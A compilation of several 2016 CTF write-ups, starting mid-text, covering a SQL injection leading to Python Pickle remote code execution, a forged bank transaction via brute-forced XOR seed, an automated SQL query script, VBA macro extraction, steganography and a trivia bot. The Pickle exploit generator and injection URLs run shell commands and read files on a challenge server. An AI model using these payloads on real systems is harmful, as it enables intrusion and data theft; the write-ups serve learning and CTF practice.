MARK", also this payload: ```bashhttp://54.84.124.93/?cat=2+union+select+1,2,%22{aa,bb}%22,4/**/``` returned in the same place error message "invalid load key, '{'." Quick session with Google told me that such error messages points I'm playing with Pickle Python module, which is used to serialization and deserialization of Python objects (https://docs.python.org/3.4/library/pickle.html). Two, maybe three blog posts later (linked at the end of this writeup) I had, more or less, some idea how can I use this vector to get the flag. ### Phase two - Remote Code Execution via Pickle module As I've assumed that third column contains serialized Python object, which is deserialized on the backend side, I've started to create and inject simple exploits to get some valuable response. I've used for this simple Pickle exploit generator (from Nelson Elhage's blog - https://twitter.com/nelhage - linked below): ```python#!/usr/bin/pythonimport osimport cPickleimport base64 # Exploit that we want the target to unpickleclass Exploit(object): def __reduce__(self): return (eval, ("os.system('ls -l')",)) shellcode = cPickle.dumps(Exploit())print shellcode``` Generated exploit looks like this: ```bash$ ./cpicke_exploit.py c__builtin__evalp1(S"os.system('ls -l')"p2tp3Rp4. ``` To get this exploit working in injection payload, I had to use _%0A_ as a separator between every line of above output (to be sure that Pickle deserializes payload in right way). Here's an example how to get result of _ls -l_ command: ```bashhttp://54.84.124.93/?cat=1+and+1=2+union+select+1,2,%22c__builtin__%0Aeval%0A%28S%27os.listdir%28%27var/www%27%29%27%0AtR.%22,4/**/``` And a result in Burp Repeater: ![ls -l result](unicle04.png) So there's a _flag_ file directly in _/var/www_ directory, so let's get it! ```bash http://54.84.124.93/?cat=1+and+1=2+union+select+1,2,%22c__builtin__%0Aeval%0A%28S%27os.popen%28%27cat%20/var/www/flag%27%29.readlines%28%29%27%0AtR.%22,4/**/``` And the flag is: ![flag](unicle_flag.png) ## Summary I've spent a lot of time on this task, because I had no experience with web application based on used technologies - as you can see _vulnerable.py_ file (which I saved just by curiosity, how the code looks like) - there's a **Flask** Python framework and **SQLAlchemy** simple ORM for Flask. Also I've never exploit Pickle code injection vulnerability in the wild before - so I've learnt a lot while working on this task. ## Links Explaining and exploiting deserialization vulnerability with Python https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html Exploiting Misuse of Python's "Pickle" https://blog.nelhage.com/2011/03/exploiting-pickle/ Playing with Pickle Security https://lincolnloop.com/blog/playing-pickle-security/ Flask http://flask.pocoo.org/ SQLAlchemy
### misc 300 - Know India It's question-and-answer programming challenge about India. We wrote simple python script to answer all the questions.```python# -*- coding: utf8 -*-import sockets = socket.socket()host = '52.91.163.151'port = 10101 s.connect((host, port)) answers = ['tamil', 'english', 'kumbh mela', 'electronic city of india', 'wine capital of india', 'blue city', 'chenab', 'diamond city of india', 'dehradun', 'rock fort city', 'hindi', 'republic of india', 'abode of the god', 'english', 'port blair', 'second bardoli of india', 'chandigarh', 'agartala', 'city of paddy fields', 'gateway of north east india', 'tea city of india', 'boston of india', 'hindi', 'land of black diamond', 'hindi', 'english', 'gateway of south india', 'gangtok', 'prince of arabian sea', 'tamil', 'pink city', 'hindi', 'abode of the god', 'evergreen city of india', 'meiteilon', 'hindi', 'konkani', 'rome of the east', 'punjabi', 'telugu', 'gandhinagar', 'shillong', '1033', 'ganga', 'dal lake'] dictionary = {}answer_from_dict = Falseidx = 0print s.recv(1024)while True: answer_from_dict = False print 'Question #%d' % idx question = s.recv(1024) print question if dictionary.has_key(question): answer = dictionary[question] answer_from_dict = True else: answer = answers[idx] print 'Answer: %s' % answer s.send(answer.lower().encode('utf-8')) dictionary[question] = answer print s.recv(1024) if not answer_from_dict: idx = idx + 1``` Googling was time consuming
# Kick Tort Teen ## Task Anagram, anyone? ## Solution We are given an xls document containing numbers.If we unzip it, we can see that there are VBA macros. ```mac:xl rainbowlyte$ ls -latotal 88drwxr-xr-x@ 8 rainbowlyte wheel 272 Feb 7 17:11 .drwxrwxrwt 15 root wheel 510 Feb 7 17:11 ..drwxr-xr-x@ 3 rainbowlyte wheel 102 Feb 7 17:11 _rels-rw-r--r--@ 1 rainbowlyte wheel 16372 Jan 1 1980 styles.xmldrwxr-xr-x@ 3 rainbowlyte wheel 102 Feb 7 17:11 theme-rw-r--r--@ 1 rainbowlyte wheel 22528 Jan 1 1980 vbaProject.bin-rw-r--r--@ 1 rainbowlyte wheel 641 Jan 1 1980 workbook.xmldrwxr-xr-x@ 3 rainbowlyte wheel 102 Feb 7 17:11 worksheets``` We used `olevba` to extract the macro. ```vbVBA MACRO Module1.basin file: xl/vbaProject.bin - OLE stream: u'VBA/Module1'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -Function FileExists(ByVal FileToTest As String) As Boolean FileExists = (Dir(FileToTest) <> "")End FunctionSub DeleteFile(ByVal FileToDelete As String) If FileExists(FileToDelete) Then 'See above SetAttr FileToDelete, vbNormal Kill FileToDelete End IfEnd SubSub DoIt() Dim filename As String filename = Environ("USERPROFILE") & "\fileXYZ.data" DeleteFile (filename) Open filename For Binary Lock Read Write As #2 For i = 1 To 14747 For j = 1 To 23 Put #2, , CByte((Cells(i, j).Value - 78) / 3) Next Next Put #2, , CByte(98) Put #2, , CByte(13) Put #2, , CByte(0) Put #2, , CByte(73) Put #2, , CByte(19) Put #2, , CByte(0) Put #2, , CByte(94) Put #2, , CByte(188) Put #2, , CByte(0) Put #2, , CByte(0) Put #2, , CByte(0) Close #2End Sub``` The interesting part is ```Open filename For Binary Lock Read Write As #2For i = 1 To 14747 For j = 1 To 23 Put #2, , CByte((Cells(i, j).Value - 78) / 3) NextNext``` We used the corresponding python code to process the numbers in the xls document. ```pythonnumbers = []s = '' with open('numbers', 'r') as f: for line in f.readlines(): l = [int(i) for i in line.split()] numbers.append(l) for i in numbers: for j in i: s += chr((j-78) / 3) with open('exe', 'w') as f: f.write(s)``` The file `exe` is an executable that contains the flag. ```bashrainbowlyte@ns38534:/tmp$ file exeexe: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, strippedrainbowlyte@ns38534:/tmp$ chmod +x exerainbowlyte@ns38534:/tmp$ ./exeSharifCTF{5bd74def27ce149fe1b63f2aa92331ab}```
# Internetwache CTF 2016 : Bank **Category:** Crypto**Points:** 90**Solves:** 79**Description:** > Description: Everyone knows that banks are insecure. This one super secure and only allows only 20 transactions per session. I always wanted a million on my account.> > > Attachment: [crypto90.zip](./crypto90.zip)> > > Service: 188.166.133.53:10061 ## Write-up On connection, we are provided with an account and a limit of 20 transactions.There is a limit of 5000 that we are allowed to add to our account in one transaction,but we are greedy and want to get 1000000! A transaction is initiated by typing 'create \<a\>' to add \<a\> coins to your account.After doing so, the server provides us with a transaction id and a verification code.To complete the transaction we must then type 'complete \<tid\> \<hash\>'. Looking at the code, we see that the hash is obtained by encrypting the string"TRANSACTION: [amount]" using a XOR cipher with a stream generated by the Randomizer class.```pythondef encrypt(self, t): self.__r.set_x(t.get_k()) ct = "" s = str(t) l = len(s) for c in s: ct += chr( ord(c) ^ (self.__r.get_next() % 2**7) ) return ct.encode('hex')``` When a new transaction is created, the transaction gets a random secret k. The k is thenused as a seed to initialize the Randomizer stream. When calling 'complete <tid> <hash>', the server decrypts the verification code usingthe seed associated with the tid, and adds the amount specified to our account.But they don't check if this hash is the same as the hash generated during the 'create ' command.```pythondef decrypt(self, t, ct): self.__r.set_x(t.get_k()) try: ct = ct.decode('hex') pt = "" for c in ct: pt += chr( ord(c) ^ (self.__r.get_next() % 2**7) ) if(not "TRANSACTION" in pt): return None a = int(pt.replace("TRANSACTION:","")) t.set_a(a) return t except: return None``` So we can modify the verification code to encode a different value in the transaction amount.In order to do that, we need to recover the secret k of the transaction.We did this by a simple brute force (the original k is 32 bytes long, but the Randomizeronly works with values mod 2^32, so we only need to brute force 2^32 values for k). For this, we create a valid transaction with amount 5000. The server gives a verification codeassociated to this transaction. We then use the following script to bruteforce the seed k: ```pythonimport sys class Randomizer: def __init__(self, a, c, m, s): self.__a = a self.__c = c self.__m = m self.__x = s def get_next(self): self.__x = (self.__a*self.__x + self.__c) % self.__m return self.__x def get_a(self): return self.__a def set_a(self, a): self.__a = a def get_c(self): return self.__c def set_c(self, c): self.__c = c def get_m(self): return self.__m def set_m(self, m): self.__m = m def get_x(self): return self.__x def set_x(self, x): self.__x = x def decrypt(ct, r): ct = ct.decode('hex') pt = "" for c in ct: pt += chr(ord(c) ^ (r.get_next() % 2**7)) return pt def encrypt(pt, r): ct = "" for c in pt: ct += chr(ord(c) ^ (r.get_next() % 2**7)) ct = ct.encode('hex') return ct def find_k(code): r = Randomizer(1664525, 1013904223, 2**32, 0) for k in xrange(2**32): r.set_x(k) if decrypt(code, r) == "TRANSACTION: 5000": return k return None def modify_transaction(code): k = find_k(code) r = Randomizer(1664525, 1013904223, 2**32, k) return encrypt("TRANSACTION:99999", r) print modify_transaction(sys.argv[1])```We use this k to generate a new verification code which contains the string"TRANSACTION:99999". The length of the new verification code must be at most34 hex chars, corresponding to 17 bytes, 12 of which are taken by the"TRANSACTION:" prefix. Normally this would leave us with only 4 digits if thespace was also included in the prefix, but notice the space is ignored duringdecryption, allowing us to replace it with another digit for a larger amount!. ```pythondef modify_transaction(code): k = find_k(code) r = Randomizer(1664525, 1013904223, 2**32, k) return encrypt("TRANSACTION:99999", r)``` We can then send the obtained code to add 99999 coins per transaction!It takes 11 transactions to reach 1000000, and then we get the flag:> IW{SHUT_UP_AND_T4K3_MY_M000NEYY} ## Other write-ups and resources * <https://www.xil.se/post/internetwache-2016-crypto90-kbeckmann/>* <https://cryptsec.wordpress.com/2016/02/22/internetwache-ctf-write-up-2016-bank-crypto-90/># CTF-Writeups
import requestsfrom hashlib import * TARGET = "http://ctf.sharif.edu:36455/chal/sql/"session = requests.Session() def get_Nonce(): get_request = session.get(TARGET) start = get_request.text.find("Nonce:") + len("Nonce: ") fin = get_request.text.find("") - 1 return get_request.text[start:fin] def get_pow(nonce , max): for i in xrange(0,max): clear = hex(i)[2:] + nonce hash_first_bytes = sha1(clear).hexdigest()[0:5] if(hash_first_bytes == "00000"): return hex(i)[2:] return False def send_request(pow_value , query): payload = {'pow':pow_value , 'sql':query} post_request = session.post(TARGET , data=payload) return post_request def extract_flag(response): start = response.find("SharifCTF") fin = response.find("}</td>") + 1 return response[start:fin] #offset = 26350 i = 0 while True: i += 3 nonce = get_Nonce() print "[+] Getting Nonce: "+nonce powv =get_pow(nonce, 100000000000) print "[+] Pow bruteforced: "+powv print "[+] sha1(concat(pow , nonce)): "+sha1(powv+nonce).hexdigest() psql = "SELECT * FROM messages ORDER BY msg DESC OFFSET "+ str(i) +";" print "[+] sending request: "+ psql r = send_request(powv, psql ) if(r.text.find("SharifCTF{") != -1): print "[+] Flag detected !!!" break else: print "[-] Flag not found\n\n\n" flag = extract_flag(r.text) print "[+] The flag is: "+ flag
![image](https://github.com/Veneno0/CTFwp/blob/master/Internetwache-CTF-2016/Web80/2885962034.jpg)Clicking on the link![image](https://github.com/Veneno0/CTFwp/blob/master/Internetwache-CTF-2016/Web80/2563772299.jpg)We will find the hint is git![image](https://github.com/Veneno0/CTFwp/blob/master/Internetwache-CTF-2016/Web80/1732830763.jpg)We get .git , but we cannot find the flag , of courese , on the link , we will find another hint——————years,we also know the git head,so I use this command:```java $ git reset --hard HEAD^ ```OK,find the flag.![image](https://github.com/Veneno0/CTFwp/blob/master/Internetwache-CTF-2016/Web80/3775518615.jpg)
__BreakIn 2016 :: You Can(t) See Me__================ _John Hammond_ | _Sunday, January 24, 2016_ > Honestly I do not have the challenge prompt or description. I will try to add it the moment I am able to retrieve it (it is currently not online). ---------- Admittedly, this challenge took a little bit of thought (though that is to be expected)! We were given [this image](color.png) and that was the jist of our challenge. So, we got to work. ![The Image](color.png) We reached for the usual low-hanging fruit: running [`strings`][strings] on the thing, [`exiftool`][exiftool], and [`stegsolve.jar`][stegsolve.jar]. No luck there. We tried turning it sideways to see if there were any clear letters we could pick out, or we tried to remove some of the colors and see if anything would jump out us a bit more easily... But no, nothing. Eventually, when we were just staring at [the image](color.png) in [`eog`][eog], we got this weird realization that the size of the image must be of some importance. It was odd that it was just 7 by 200 pixels... _it must be hiding [binary]_. We then operated under the assumption that _every line_ was another [binary] number. The red color must have represented a [binary] `1` while the black must have represented a [binary] `0`. Immediately got started scripting something to pull all that data out. Here's [the code we ended up with](get_flag.py): ``` python#!/usr/bin/env python from PIL import Image pic = Image.open("color.png")data = pic.load() red = (255, 0, 0) # We create an array to hold all the lines and start to loop through # each pixelbinary_lines = []width, height = pic.sizefor y in xrange( height ): binary_line = [] for x in xrange( width ): pixel = data[x, y] # We only have the two colors red and black, so I just test #for one case and then use `else`. if pixel == red: binary_line.append( '1' ) else: binary_line.append( '0' ) binary_lines.append( binary_line ) # A little 'list comprehension' magic to get the good stuff out...ascii_text = ''.join([ chr(int(''.join(separated),2)) for separated in binary_lines ])print ascii_text``` And, believe it or not, the garbage that it spews out is actually our flag! __The flag is `3xXKkFstTUpsG2IFDirE6xDrcAF8DSx4iWxd5f9IQ9T205izN8lS2MQUlsF11gT4TFXHHlLHVHprNTtrh6lURfdUW7Lpuzgu1VKzwb1bg1oq6Ae3GnykkLZZsnze3HVLxHlfCYtzyrcV2Oxp0Gb0Z2ELphR4Oxo7TyvHCuWKWlN8t8KIfHysZK7jBNPu6wRVEUPIwVra `.__ [netcat]: https://en.wikipedia.org/wiki/Netcat[Wikipedia]: https://www.wikipedia.org/[Linux]: https://www.linux.com/[man page]: https://en.wikipedia.org/wiki/Man_page[PuTTY]: http://www.putty.org/[ssh]: https://en.wikipedia.org/wiki/Secure_Shell[Windows]: http://www.microsoft.com/en-us/windows[virtual machine]: https://en.wikipedia.org/wiki/Virtual_machine[operating system]:https://en.wikipedia.org/wiki/Operating_system[OS]: https://en.wikipedia.org/wiki/Operating_system[VMWare]: http://www.vmware.com/[VirtualBox]: https://www.virtualbox.org/[hostname]: https://en.wikipedia.org/wiki/Hostname[port number]: https://en.wikipedia.org/wiki/Port_%28computer_networking%29[distribution]:https://en.wikipedia.org/wiki/Linux_distribution[Ubuntu]: http://www.ubuntu.com/[ISO]: https://en.wikipedia.org/wiki/ISO_image[standard streams]: https://en.wikipedia.org/wiki/Standard_streams[standard output]: https://en.wikipedia.org/wiki/Standard_streams[standard input]: https://en.wikipedia.org/wiki/Standard_streams[read]: http://ss64.com/bash/read.html[variable]: https://en.wikipedia.org/wiki/Variable_%28computer_science%29[command substitution]: http://www.tldp.org/LDP/abs/html/commandsub.html[permissions]: https://en.wikipedia.org/wiki/File_system_permissions[redirection]: http://www.tldp.org/LDP/abs/html/io-redirection.html[pipe]: http://www.tldp.org/LDP/abs/html/io-redirection.html[piping]: http://www.tldp.org/LDP/abs/html/io-redirection.html[tmp]: http://www.tldp.org/LDP/Linux-Filesystem-Hierarchy/html/tmp.html[curl]: http://curl.haxx.se/[cl1p.net]: https://cl1p.net/[request]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html[POST request]: https://en.wikipedia.org/wiki/POST_%28HTTP%29[Python]: http://python.org/[interpreter]: https://en.wikipedia.org/wiki/List_of_command-line_interpreters[requests]: http://docs.python-requests.org/en/latest/[urllib]: https://docs.python.org/2/library/urllib.html[file handling with Python]: https://docs.python.org/2/tutorial/inputoutput.html#reading-and-writing-files[bash]: https://www.gnu.org/software/bash/[Assembly]: https://en.wikipedia.org/wiki/Assembly_language[the stack]: https://en.wikipedia.org/wiki/Stack_%28abstract_data_type%29[register]: http://www.tutorialspoint.com/assembly_programming/assembly_registers.htm[hex]: https://en.wikipedia.org/wiki/Hexadecimal[hexadecimal]: https://en.wikipedia.org/wiki/Hexadecimal[archive file]: https://en.wikipedia.org/wiki/Archive_file[zip file]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[zip files]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[.zip]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[gigabytes]: https://en.wikipedia.org/wiki/Gigabyte[GB]: https://en.wikipedia.org/wiki/Gigabyte[GUI]: https://en.wikipedia.org/wiki/Graphical_user_interface[Wireshark]: https://www.wireshark.org/[FTP]: https://en.wikipedia.org/wiki/File_Transfer_Protocol[client and server]: https://simple.wikipedia.org/wiki/Client-server[RETR]: http://cr.yp.to/ftp/retr.html[FTP server]: https://help.ubuntu.com/lts/serverguide/ftp-server.html[SFTP]: https://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol[SSL]: https://en.wikipedia.org/wiki/Transport_Layer_Security[encryption]: https://en.wikipedia.org/wiki/Encryption[HTML]: https://en.wikipedia.org/wiki/HTML[Flask]: http://flask.pocoo.org/[SQL]: https://en.wikipedia.org/wiki/SQL[and]: https://en.wikipedia.org/wiki/Logical_conjunction[Cyberstakes]: https://cyberstakesonline.com/[cat]: https://en.wikipedia.org/wiki/Cat_%28Unix%29[symbolic link]: https://en.wikipedia.org/wiki/Symbolic_link[ln]: https://en.wikipedia.org/wiki/Ln_%28Unix%29[absolute path]: https://en.wikipedia.org/wiki/Path_%28computing%29[CTF]: https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security[Cyberstakes]: https://cyberstakesonline.com/[OverTheWire]: http://overthewire.org/[Leviathan]: http://overthewire.org/wargames/leviathan/[ls]: https://en.wikipedia.org/wiki/Ls[grep]: https://en.wikipedia.org/wiki/Grep[strings]: http://linux.die.net/man/1/strings[ltrace]: http://linux.die.net/man/1/ltrace[C]: https://en.wikipedia.org/wiki/C_%28programming_language%29[strcmp]: http://linux.die.net/man/3/strcmp[access]: http://pubs.opengroup.org/onlinepubs/009695399/functions/access.html[system]: http://linux.die.net/man/3/system[real user ID]: https://en.wikipedia.org/wiki/User_identifier[effective user ID]: https://en.wikipedia.org/wiki/User_identifier[brute force]: https://en.wikipedia.org/wiki/Brute-force_attack[for loop]: https://en.wikipedia.org/wiki/For_loop[bash programming]: http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html[Behemoth]: http://overthewire.org/wargames/behemoth/[command line]: https://en.wikipedia.org/wiki/Command-line_interface[command-line]: https://en.wikipedia.org/wiki/Command-line_interface[cli]: https://en.wikipedia.org/wiki/Command-line_interface[PHP]: https://php.net/[URL]: https://en.wikipedia.org/wiki/Uniform_Resource_Locator[TamperData]: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/[Firefox]: https://www.mozilla.org/en-US/firefox/new/?product=firefox-3.6.8&os=osx%E2%8C%A9=en-US[Caesar Cipher]: https://en.wikipedia.org/wiki/Caesar_cipher[Google Reverse Image Search]: https://www.google.com/imghp[PicoCTF]: https://picoctf.com/[PicoCTF 2014]: https://picoctf.com/[JavaScript]: https://www.javascript.com/[base64]: https://en.wikipedia.org/wiki/Base64[client-side]: https://en.wikipedia.org/wiki/Client-side_scripting[client side]: https://en.wikipedia.org/wiki/Client-side_scripting[javascript:alert]: http://www.w3schools.com/js/js_popup.asp[Java]: https://www.java.com/en/[2147483647]: https://en.wikipedia.org/wiki/2147483647_%28number%29[XOR]: https://en.wikipedia.org/wiki/Exclusive_or[XOR cipher]: https://en.wikipedia.org/wiki/XOR_cipher[quipqiup.com]: http://www.quipqiup.com/[PDF]: https://en.wikipedia.org/wiki/Portable_Document_Format[pdfimages]: http://linux.die.net/man/1/pdfimages[ampersand]: https://en.wikipedia.org/wiki/Ampersand[URL encoding]: https://en.wikipedia.org/wiki/Percent-encoding[Percent encoding]: https://en.wikipedia.org/wiki/Percent-encoding[URL-encoding]: https://en.wikipedia.org/wiki/Percent-encoding[Percent-encoding]: https://en.wikipedia.org/wiki/Percent-encoding[endianness]: https://en.wikipedia.org/wiki/Endianness[ASCII]: https://en.wikipedia.org/wiki/ASCII[struct]: https://docs.python.org/2/library/struct.html[pcap]: https://en.wikipedia.org/wiki/Pcap[packet capture]: https://en.wikipedia.org/wiki/Packet_analyzer[HTTP]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol[Wireshark filters]: https://wiki.wireshark.org/DisplayFilters[SSL]: https://en.wikipedia.org/wiki/Transport_Layer_Security[Assembly]: https://en.wikipedia.org/wiki/Assembly_language[Assembly Syntax]: https://en.wikipedia.org/wiki/X86_assembly_language#Syntax[Intel Syntax]: https://en.wikipedia.org/wiki/X86_assembly_language[Intel or AT&T]: http://www.imada.sdu.dk/Courses/DM18/Litteratur/IntelnATT.htm[AT&T syntax]: https://en.wikibooks.org/wiki/X86_Assembly/GAS_Syntax[GET request]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods[GET requests]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods[IP Address]: https://en.wikipedia.org/wiki/IP_address[IP Addresses]: https://en.wikipedia.org/wiki/IP_address[MAC Address]: https://en.wikipedia.org/wiki/MAC_address[session]: https://en.wikipedia.org/wiki/Session_%28computer_science%29[Cookie Manager+]: https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/[hexedit]: http://linux.die.net/man/1/hexedit[Google]: http://google.com/[Scapy]: http://www.secdev.org/projects/scapy/[ARP]: https://en.wikipedia.org/wiki/Address_Resolution_Protocol[UDP]: https://en.wikipedia.org/wiki/User_Datagram_Protocol[SQL injection]: https://en.wikipedia.org/wiki/SQL_injection[sqlmap]: http://sqlmap.org/[sqlite]: https://www.sqlite.org/[MD5]: https://en.wikipedia.org/wiki/MD5[OpenSSL]: https://www.openssl.org/[Burpsuite]:https://portswigger.net/burp/[Burpsuite.jar]:https://portswigger.net/burp/[Burp]:https://portswigger.net/burp/[NULL character]: https://en.wikipedia.org/wiki/Null_character[Format String Vulnerability]: http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf[printf]: http://pubs.opengroup.org/onlinepubs/009695399/functions/fprintf.html[argument]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[arguments]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[parameter]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[parameters]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[Vortex]: http://overthewire.org/wargames/vortex/[socket]: https://docs.python.org/2/library/socket.html[file descriptor]: https://en.wikipedia.org/wiki/File_descriptor[file descriptors]: https://en.wikipedia.org/wiki/File_descriptor[Forth]: https://en.wikipedia.org/wiki/Forth_%28programming_language%29[github]: https://github.com/[buffer overflow]: https://en.wikipedia.org/wiki/Buffer_overflow[try harder]: https://www.offensive-security.com/when-things-get-tough/[segmentation fault]: https://en.wikipedia.org/wiki/Segmentation_fault[seg fault]: https://en.wikipedia.org/wiki/Segmentation_fault[segfault]: https://en.wikipedia.org/wiki/Segmentation_fault[shellcode]: https://en.wikipedia.org/wiki/Shellcode[sploit-tools]: https://github.com/SaltwaterC/sploit-tools[Kali]: https://www.kali.org/[Kali Linux]: https://www.kali.org/[gdb]: https://www.gnu.org/software/gdb/[gdb tutorial]: http://www.unknownroad.com/rtfm/gdbtut/gdbtoc.html[payload]: https://en.wikipedia.org/wiki/Payload_%28computing%29[peda]: https://github.com/longld/peda[git]: https://git-scm.com/[home directory]: https://en.wikipedia.org/wiki/Home_directory[NOP slide]:https://en.wikipedia.org/wiki/NOP_slide[NOP]: https://en.wikipedia.org/wiki/NOP[examine]: https://sourceware.org/gdb/onlinedocs/gdb/Memory.html[stack pointer]: http://stackoverflow.com/questions/1395591/what-is-exactly-the-base-pointer-and-stack-pointer-to-what-do-they-point[little endian]: https://en.wikipedia.org/wiki/Endianness[big endian]: https://en.wikipedia.org/wiki/Endianness[endianness]: https://en.wikipedia.org/wiki/Endianness[pack]: https://docs.python.org/2/library/struct.html#struct.pack[ash]:https://en.wikipedia.org/wiki/Almquist_shell[dash]: https://en.wikipedia.org/wiki/Almquist_shell[shell]: https://en.wikipedia.org/wiki/Shell_%28computing%29[pwntools]: https://github.com/Gallopsled/pwntools[colorama]: https://pypi.python.org/pypi/colorama[objdump]: https://en.wikipedia.org/wiki/Objdump[UPX]: http://upx.sourceforge.net/[64-bit]: https://en.wikipedia.org/wiki/64-bit_computing[breakpoint]: https://en.wikipedia.org/wiki/Breakpoint[stack frame]: http://www.cs.umd.edu/class/sum2003/cmsc311/Notes/Mips/stack.html[format string]: http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html[format specifiers]: http://web.eecs.umich.edu/~bartlett/printf.html[format specifier]: http://web.eecs.umich.edu/~bartlett/printf.html[variable expansion]: https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html[base pointer]: http://stackoverflow.com/questions/1395591/what-is-exactly-the-base-pointer-and-stack-pointer-to-what-do-they-point[dmesg]: https://en.wikipedia.org/wiki/Dmesg[Android]: https://www.android.com/[.apk]:https://en.wikipedia.org/wiki/Android_application_package[apk]:https://en.wikipedia.org/wiki/Android_application_package[decompiler]: https://en.wikipedia.org/wiki/Decompiler[decompile Java code]: http://www.javadecompilers.com/[jadx]: https://github.com/skylot/jadx[.img]: https://en.wikipedia.org/wiki/IMG_%28file_format%29[binwalk]: http://binwalk.org/[JPEG]: https://en.wikipedia.org/wiki/JPEG[JPG]: https://en.wikipedia.org/wiki/JPEG[disk image]: https://en.wikipedia.org/wiki/Disk_image[foremost]: http://foremost.sourceforge.net/[eog]: https://wiki.gnome.org/Apps/EyeOfGnome[function pointer]: https://en.wikipedia.org/wiki/Function_pointer[machine code]: https://en.wikipedia.org/wiki/Machine_code[compiled language]: https://en.wikipedia.org/wiki/Compiled_language[compiler]: https://en.wikipedia.org/wiki/Compiler[compile]: https://en.wikipedia.org/wiki/Compiler[scripting language]: https://en.wikipedia.org/wiki/Scripting_language[shell-storm.org]: http://shell-storm.org/[shell-storm]:http://shell-storm.org/[shellcode database]: http://shell-storm.org/shellcode/[gdb-peda]: https://github.com/longld/peda[x86]: https://en.wikipedia.org/wiki/X86[Intel x86]: https://en.wikipedia.org/wiki/X86[sh]: https://en.wikipedia.org/wiki/Bourne_shell[/bin/sh]: https://en.wikipedia.org/wiki/Bourne_shell[SANS]: https://www.sans.org/[Holiday Hack Challenge]: https://holidayhackchallenge.com/[USCGA]: http://uscga.edu/[United States Coast Guard Academy]: http://uscga.edu/[US Coast Guard Academy]: http://uscga.edu/[Academy]: http://uscga.edu/[Coast Guard Academy]: http://uscga.edu/[Hackfest]: https://www.sans.org/event/pen-test-hackfest-2015[SSID]: https://en.wikipedia.org/wiki/Service_set_%28802.11_network%29[DNS]: https://en.wikipedia.org/wiki/Domain_Name_System[Python:base64]: https://docs.python.org/2/library/base64.html[OpenWRT]: https://openwrt.org/[node.js]: https://nodejs.org/en/[MongoDB]: https://www.mongodb.org/[Mongo]: https://www.mongodb.org/[SuperGnome 01]: http://52.2.229.189/[Shodan]: https://www.shodan.io/[SuperGnome 02]: http://52.34.3.80/[SuperGnome 03]: http://52.64.191.71/[SuperGnome 04]: http://52.192.152.132/[SuperGnome 05]: http://54.233.105.81/[Local file inclusion]: http://hakipedia.com/index.php/Local_File_Inclusion[LFI]: http://hakipedia.com/index.php/Local_File_Inclusion[PNG]: http://www.libpng.org/pub/png/[.png]: http://www.libpng.org/pub/png/[Remote Code Execution]: https://en.wikipedia.org/wiki/Arbitrary_code_execution[RCE]: https://en.wikipedia.org/wiki/Arbitrary_code_execution[GNU]: https://www.gnu.org/[regular expression]: https://en.wikipedia.org/wiki/Regular_expression[regular expressions]: https://en.wikipedia.org/wiki/Regular_expression[uniq]: https://en.wikipedia.org/wiki/Uniq[sort]: https://en.wikipedia.org/wiki/Sort_%28Unix%29[binary data]: https://en.wikipedia.org/wiki/Binary_data[binary]: https://en.wikipedia.org/wiki/Binary[Firebug]: http://getfirebug.com/[SHA1]: https://en.wikipedia.org/wiki/SHA-1[SHA-1]: https://en.wikipedia.org/wiki/SHA-1[Linux]: https://www.linux.com/[Ubuntu]: http://www.ubuntu.com/[Kali Linux]: https://www.kali.org/[Over The Wire]: http://overthewire.org/wargames/[OverTheWire]: http://overthewire.org/wargames/[Micro Corruption]: https://microcorruption.com/[Smash The Stack]: http://smashthestack.org/[CTFTime]: https://ctftime.org/[Writeups]: https://ctftime.org/writeups[Competitions]: https://ctftime.org/event/list/upcoming[Skull Security]: https://wiki.skullsecurity.org/index.php?title=Main_Page[MITRE]: http://mitrecyberacademy.org/[Trail of Bits]: https://trailofbits.github.io/ctf/[Stegsolve]: http://www.caesum.com/handbook/Stegsolve.jar[stegsolve.jar]: http://www.caesum.com/handbook/Stegsolve.jar[Steghide]: http://steghide.sourceforge.net/[IDA Pro]: https://www.hex-rays.com/products/ida/[Wireshark]: https://www.wireshark.org/[Bro]: https://www.bro.org/[Meterpreter]: https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/[Metasploit]: http://www.metasploit.com/[Burpsuite]: https://portswigger.net/burp/[xortool]: https://github.com/hellman/xortool[sqlmap]: http://sqlmap.org/[VMWare]: http://www.vmware.com/[VirtualBox]: https://www.virtualbox.org/wiki/Downloads[VBScript Decoder]: https://gist.github.com/bcse/1834878[quipqiup.com]: http://quipqiup.com/[EXIFTool]: http://www.sno.phy.queensu.ca/~phil/exiftool/[Scalpel]: https://github.com/sleuthkit/scalpel[Ryan's Tutorials]: http://ryanstutorials.net[Linux Fundamentals]: http://linux-training.be/linuxfun.pdf[USCGA]: http://uscga.edu[Cyberstakes]: https://cyberstakesonline.com/[Crackmes.de]: http://crackmes.de/[Nuit Du Hack]: http://wargame.nuitduhack.com/[Hacking-Lab]: https://www.hacking-lab.com/index.html[FlareOn]: http://www.flare-on.com/[The Second Extended Filesystem]: http://www.nongnu.org/ext2-doc/ext2.html[GIF]: https://en.wikipedia.org/wiki/GIF[PDFCrack]: http://pdfcrack.sourceforge.net/index.html[Hexcellents CTF Knowledge Base]: http://security.cs.pub.ro/hexcellents/wiki/home[GDB]: https://www.gnu.org/software/gdb/[The Linux System Administrator's Guide]: http://www.tldp.org/LDP/sag/html/index.html[aeskeyfind]: 